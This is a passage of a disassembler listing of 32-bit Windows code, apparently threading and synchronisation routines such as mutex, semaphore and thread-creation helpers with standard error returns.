		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_4306D9:				; CODE XREF: ___:004305BFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430750:				; DATA XREF: ___:00430680o
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430770	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_401190
sub_430770	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_4307AE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_43079C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_43079C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_43079C:				; CODE XREF: ___:0043078Bj
					; ___:00430791j
		mov	edx, [esi+8]
		mov	eax, dword_5103B8
		push	edx
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4307AE:				; CODE XREF: ___:00430783j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4307E0	proc near		; CODE XREF: sub_401663j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_5103B8
		push	edx
		call	sub_401190
sub_4307E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430830	proc near		; CODE XREF: sub_401B63j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510900
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430864
		push	esi
		push	ecx
		call	sub_40154B
		add	esp, 8
		mov	esi, eax
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430864:				; CODE XREF: sub_430830+17j
		test	eax, eax
		jnz	short loc_43086D
		mov	esi, 16h


loc_43086D:				; CODE XREF: sub_430830+36j
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308A0:				; CODE XREF: ___:0040211Cj
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4308C3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4308C3:				; CODE XREF: ___:004308B2j
		mov	ecx, [esp+8]
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4308E0:				; CODE XREF: ___:004021F3j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_430903
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_430903
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430903:				; CODE XREF: ___:004308E7j
					; ___:004308EDj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430920:				; CODE XREF: ___:00401005j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43093D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43093D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43093D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43093D:				; CODE XREF: ___:00430926j
					; ___:0043092Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430960:				; CODE XREF: ___:004012ADj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43098A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43098A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43097E
		test	eax, eax
		jnz	short loc_43098A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43097E:				; CODE XREF: ___:00430975j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43098A:				; CODE XREF: ___:00430966j
					; ___:0043096Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4309A0	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		cmp	eax, edi
		jnz	short loc_4309B6
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309B6:				; CODE XREF: sub_4309A0+Cj
		mov	eax, [esp+8+arg_4]
		push	ebx
		cmp	eax, edi
		push	ebp
		jz	short loc_4309DD
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_4309DD
		cmp	dword ptr [eax], 1
		jnz	short loc_4309DD
		mov	edx, [esp+10h+arg_0]
		mov	edi, 28h
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4309DD:				; CODE XREF: sub_4309A0+1Ej
					; sub_4309A0+24j ...
		push	20h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		cmp	esi, edi
		jnz	short loc_430A02
		mov	edx, [esp+10h+arg_0]
		mov	edi, 0Ch
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430A02:				; CODE XREF: sub_4309A0+4Ej
		lea	ebp, [esi+10h]
		push	1
		push	edi
		push	ebp
		mov	[esi], edi
		mov	[esi+8], edi
		mov	[esi+4], edi
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A27
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A6B
; ---------------------------------------------------------------------------


loc_430A27:				; CODE XREF: sub_4309A0+7Bj
		lea	ebx, [esi+0Ch]
		push	0
		push	0
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430A45
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		jmp	short loc_430A62
; ---------------------------------------------------------------------------


loc_430A45:				; CODE XREF: sub_4309A0+99j
		lea	eax, [esi+14h]
		push	0
		push	eax
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_430ACF
		push	ebx
		call	sub_401690
		add	esp, 4


loc_430A62:				; CODE XREF: sub_4309A0+A3j
		push	ebp
		call	sub_401690
		add	esp, 4


loc_430A6B:				; CODE XREF: sub_4309A0+85j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	esi, esi
		test	edi, edi
		jnz	short loc_430AC2


loc_430A7B:				; CODE XREF: sub_4309A0+131j
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	dword ptr [esi+18h], 0
		mov	ecx, dword_5103C0
		mov	[esi+1Ch], ecx
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_430AA2
		mov	[eax+18h], esi


loc_430AA2:				; CODE XREF: sub_4309A0+FDj
		mov	eax, dword_5103BC
		mov	dword_5103C0, esi
		test	eax, eax
		jnz	short loc_430AB7
		mov	dword_5103BC, esi


loc_430AB7:				; CODE XREF: sub_4309A0+10Fj
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop


loc_430AC2:				; CODE XREF: sub_4309A0+D9j
		mov	edx, [esp+10h+arg_0]
		pop	ebp
		mov	eax, edi
		pop	ebx
		mov	[edx], esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430ACF:				; CODE XREF: sub_4309A0+B7j
		xor	edi, edi
		jmp	short loc_430A7B
sub_4309A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430B30	proc near		; CODE XREF: sub_401AA5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		xor	esi, esi
		xor	ebp, ebp
		xor	ebx, ebx
		test	edi, edi
		mov	[esp+14h+var_4], ebp
		jz	loc_430CDC
		mov	eax, [edi]
		test	eax, eax
		jz	loc_430CDC
		cmp	eax, 0FFFFFFFFh
		jz	loc_430C93
		push	offset dword_510980
		nop
		call	near ptr 7C901005h
		mov	esi, [edi]
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430B89
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430B89:				; CODE XREF: sub_430B30+49j
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_401785
		add	esp, 4
		mov	[esp+14h+arg_0], eax
		test	eax, eax
		jz	short loc_430BB0
		push	ebx
		call	sub_40103C
		mov	eax, [esp+18h+arg_0]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430BB0:				; CODE XREF: sub_430B30+6Bj
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jle	short loc_430BE9
		push	ebx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430BD2
		nop
		call	near ptr 77C1F2BCh
		mov	ecx, [eax]
		mov	[esp+14h+arg_0], ecx


loc_430BD2:				; CODE XREF: sub_430B30+94j
		push	ebp
		call	sub_4010C3
		add	esp, 4
		mov	[esp+14h+var_4], eax
		mov	ebx, 10h
		jmp	loc_430C7E
; ---------------------------------------------------------------------------


loc_430BE9:				; CODE XREF: sub_430B30+87j
		push	ebx
		mov	dword ptr [edi], 0
		call	sub_401690
		mov	edi, dword_511A70
		add	esp, 4
		test	eax, eax
		jz	short loc_430C0A
		call	edi	; _errno
		mov	edx, [eax]
		mov	[esp+14h+arg_0], edx


loc_430C0A:				; CODE XREF: sub_430B30+D0j
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_401690
		add	esp, 4
		test	eax, eax
		jz	short loc_430C22
		call	edi	; _errno
		mov	ecx, [eax]
		mov	[esp+14h+var_4], ecx


loc_430C22:				; CODE XREF: sub_430B30+E8j
		push	ebp
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_430C3C
		push	ebp
		call	sub_402252
		add	esp, 4
		mov	ebx, eax


loc_430C3C:				; CODE XREF: sub_430B30+FFj
		cmp	dword_5103BC, esi
		jnz	short loc_430C4F
		mov	edx, [esi+18h]
		mov	dword_5103BC, edx
		jmp	short loc_430C58
; ---------------------------------------------------------------------------


loc_430C4F:				; CODE XREF: sub_430B30+112j
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+18h]
		mov	[eax+18h], ecx


loc_430C58:				; CODE XREF: sub_430B30+11Dj
		cmp	dword_5103C0, esi
		jnz	short loc_430C6B
		mov	edx, [esi+1Ch]
		mov	dword_5103C0, edx
		jmp	short loc_430C74
; ---------------------------------------------------------------------------


loc_430C6B:				; CODE XREF: sub_430B30+12Ej
		mov	eax, [esi+18h]
		mov	ecx, [esi+1Ch]
		mov	[eax+1Ch], ecx


loc_430C74:				; CODE XREF: sub_430B30+139j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_430C7E:				; CODE XREF: sub_430B30+B4j
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop
		mov	esi, [esp+14h+arg_0]
		mov	ebp, [esp+14h+var_4]
		jmp	short loc_430CC2
; ---------------------------------------------------------------------------


loc_430C93:				; CODE XREF: sub_430B30+28j
		push	offset dword_510900
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_430CAB
		mov	dword ptr [edi], 0
		jmp	short loc_430CB7
; ---------------------------------------------------------------------------


loc_430CAB:				; CODE XREF: sub_430B30+171j
		mov	[esp+14h+arg_0], 10h
		mov	esi, [esp+14h+arg_0]


loc_430CB7:				; CODE XREF: sub_430B30+179j
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh


loc_430CC2:				; CODE XREF: sub_430B30+161j
		test	esi, esi
		jz	short loc_430CCE
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CCE:				; CODE XREF: sub_430B30+194j
		test	ebp, ebp
		mov	eax, ebp
		jnz	short loc_430CE1
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430CDC:				; CODE XREF: sub_430B30+15j
					; sub_430B30+1Fj
		mov	eax, 16h


loc_430CE1:				; CODE XREF: sub_430B30+1A2j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_430B30	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D60	proc near		; CODE XREF: sub_401203j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_430D60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430D90	proc near		; CODE XREF: sub_430D60+Cp
					; sub_431060+19p

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 20h
		push	esi
		mov	esi, [esp+24h+arg_0]
		test	esi, esi
		push	edi
		mov	[esp+28h+var_20], 0
		jz	loc_430E99
		mov	eax, [esi]
		test	eax, eax
		jz	loc_430E99
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430DD2
		push	esi
		call	sub_401B63
		add	esp, 4
		mov	[esp+28h+var_20], eax
		test	eax, eax
		jz	short loc_430DD2
		cmp	eax, 10h
		jnz	loc_430E9E


loc_430DD2:				; CODE XREF: sub_430D90+26j
					; sub_430D90+37j
		mov	esi, [esi]
		lea	edi, [esi+10h]
		push	edi
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430DF2
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430DF2:				; CODE XREF: sub_430D90+52j
		mov	ecx, [esi]
		push	edi
		inc	ecx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430E12
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 20h
		retn
; ---------------------------------------------------------------------------


loc_430E12:				; CODE XREF: sub_430D90+72j
		mov	edi, [esp+28h+arg_4]
		lea	ecx, [esp+28h+var_10]
		push	ecx
		lea	edx, [esp+2Ch+var_1C]
		lea	eax, [esp+2Ch+var_20]
		push	offset loc_430F00
		push	edx
		mov	[esp+34h+var_10], edi
		mov	[esp+34h+var_C], esi
		mov	[esp+34h+var_8], eax
		mov	[esp+34h+var_4], 0
		call	sub_401663
; ---------------------------------------------------------------------------
		dw 0E857h
		dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h,	83342444h
		dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h
		dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
		dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h
		dd 20C4835Eh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_430E99:				; CODE XREF: sub_430D90+13j
					; sub_430D90+1Dj
		mov	eax, 16h


loc_430E9E:				; CODE XREF: sub_430D90+3Cj
		pop	edi
		pop	esi
		add	esp, 20h
		retn
sub_430D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430F00:				; DATA XREF: sub_430D90+93o
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		mov	esi, [ebp+4]
		mov	ebx, [ebp+8]
		mov	[esp+18h], ebx
		lea	edi, [esi+14h]
		push	edi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430F2B
		pop	edi
		pop	esi
		mov	[ebx], eax
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F2B:				; CODE XREF: ___:00430F21j
		mov	ebx, [esi+8]
		test	ebx, ebx
		mov	[esp+10h], ebx
		jz	short loc_430F3E
		lea	eax, [ebx-1]
		mov	[esi+8], eax
		jmp	short loc_430FA7
; ---------------------------------------------------------------------------


loc_430F3E:				; CODE XREF: ___:00430F34j
		mov	ecx, [esi+4]
		inc	ecx
		mov	eax, ecx
		mov	[esi+4], ecx
		cmp	eax, 3FFFFFFFh
		jnz	short loc_430FA7
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_430F72
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F72:				; CODE XREF: ___:00430F5Cj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		sub	ecx, eax
		push	ebx
		mov	[esi], ecx
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F9C
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [esp+18h]
		mov	ecx, [eax]
		pop	edi
		pop	esi
		pop	ebp
		mov	[edx], ecx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430F9C:				; CODE XREF: ___:00430F86j
		mov	ebx, [esp+10h]
		mov	dword ptr [esi+4], 0


loc_430FA7:				; CODE XREF: ___:00430F3Cj
					; ___:00430F4Cj
		push	edi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jz	short loc_430FC0
		mov	ecx, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ecx], eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FC0:				; CODE XREF: ___:00430FB2j
		cmp	ebx, 1
		jnz	short loc_430FE9
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430FE9
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		mov	eax, [esp+18h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_430FE9:				; CODE XREF: ___:00430FC3j
					; ___:00430FD3j
		mov	ecx, [ebp+0]
		push	ecx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jz	short loc_430FFF
		mov	edx, [esp+18h]
		mov	[edx], eax


loc_430FFF:				; CODE XREF: ___:00430FF7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431060	proc near		; CODE XREF: sub_4011E0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jnz	short loc_43106E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43106E:				; CODE XREF: sub_431060+6j
		mov	ecx, [esp+arg_0]
		push	eax
		mov	eax, [esp+4+arg_4]
		push	eax
		push	ecx
		call	sub_430D90
		add	esp, 0Ch
		retn
sub_431060	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310A0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_4310A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4310C0	proc near		; CODE XREF: sub_4310A0+7p
					; sub_431220+7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	loc_4311C4
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4311C4
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4310E4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4310E4:				; CODE XREF: sub_4310C0+1Cj
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4311C9
		mov	ecx, [esi+8]
		mov	eax, [esi]
		test	ecx, ecx
		jz	short loc_431134
		test	eax, eax
		jnz	short loc_431112


loc_431105:				; CODE XREF: sub_4310C0+77j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431112:				; CODE XREF: sub_4310C0+43j
		mov	edx, [esp+0Ch+arg_4]
		test	edx, edx
		jz	short loc_431129
		mov	edi, eax
		mov	dword ptr [esi], 0
		add	ecx, edi
		mov	[esi+8], ecx
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431129:				; CODE XREF: sub_4310C0+58j
		inc	ecx
		mov	edi, 1
		mov	[esi+8], ecx
		jmp	short loc_431193
; ---------------------------------------------------------------------------


loc_431134:				; CODE XREF: sub_4310C0+3Fj
		cmp	eax, [esi+4]
		jle	short loc_431105
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_401041
		add	esp, 4
		test	eax, eax
		jz	short loc_431160
		nop
		call	near ptr 77C1F2BCh
		mov	esi, [eax]
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431160:				; CODE XREF: sub_4310C0+87j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_431174
		mov	ecx, [esi]
		mov	dword ptr [esi+4], 0
		sub	ecx, eax
		mov	[esi], ecx


loc_431174:				; CODE XREF: sub_4310C0+A5j
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		jz	short loc_431189
		mov	edi, [esi]
		mov	dword ptr [esi], 0
		mov	[esi+8], edi
		jmp	short loc_431196
; ---------------------------------------------------------------------------


loc_431189:				; CODE XREF: sub_4310C0+BAj
		mov	eax, [esi]
		mov	edi, 1
		mov	[esi+8], edi


loc_431193:				; CODE XREF: sub_4310C0+72j
		dec	eax
		mov	[esi], eax


loc_431196:				; CODE XREF: sub_4310C0+67j
					; sub_4310C0+C7j
		push	ebx
		call	sub_4010C3
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4311BE
		add	esi, 0Ch
		push	edi
		push	esi
		call	sub_402068
		add	esp, 8
		test	eax, eax
		jz	short loc_4311BE
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_4311BE:				; CODE XREF: sub_4310C0+E3j
					; sub_4310C0+F4j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4311C4:				; CODE XREF: sub_4310C0+9j
					; sub_4310C0+13j
		mov	eax, 16h


loc_4311C9:				; CODE XREF: sub_4310C0+32j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4310C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431220	proc near		; CODE XREF: sub_40160Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4310C0
		add	esp, 8
		retn
sub_431220	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431240	proc near		; CODE XREF: sub_40123Aj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, 0Bh
		xor	ebx, ebx
		call	sub_401B27
		mov	esi, eax
		test	esi, esi
		jz	loc_431316
		mov	eax, [esi+28h]
		push	0Ch
		mov	[esp+14h+var_4], eax
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	loc_431316
		mov	ecx, [esp+10h+arg_8]
		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_4312BE
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_4312BE
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_4312C0
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_4312C0
; ---------------------------------------------------------------------------


loc_4312BE:				; CODE XREF: sub_431240+4Dj
					; sub_431240+54j
		xor	edi, edi


loc_4312C0:				; CODE XREF: sub_431240+6Ej
					; sub_431240+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401BA9
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		nop
		call	near ptr 77C3A3DBh
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_431309
		test	ebp, ebp
		jz	short loc_431302
		cmp	dword ptr [ebp+0], 0
		jz	short loc_431302
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_4020D1
		add	esp, 0Ch


loc_431302:				; CODE XREF: sub_431240+AAj
					; sub_431240+B0j
		push	edi
		nop
		call	near ptr 27702ACh


loc_431309:				; CODE XREF: sub_431240+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_431349


loc_431316:				; CODE XREF: sub_431240+14j
					; sub_431240+30j
		push	esi
		call	sub_4017B7
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_43133C
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43133C:				; CODE XREF: sub_431240+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431349:				; CODE XREF: sub_431240+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_431240	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4313B0:				; CODE XREF: ___:00401343j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_4313E7 ; default
		jmp	off_4313EC[ecx*4] ; switch jump


loc_4313C5:				; DATA XREF: ___:off_4313ECo
		call	sub_401712	; jumptable 004313BE case 1
		retn	0Ch
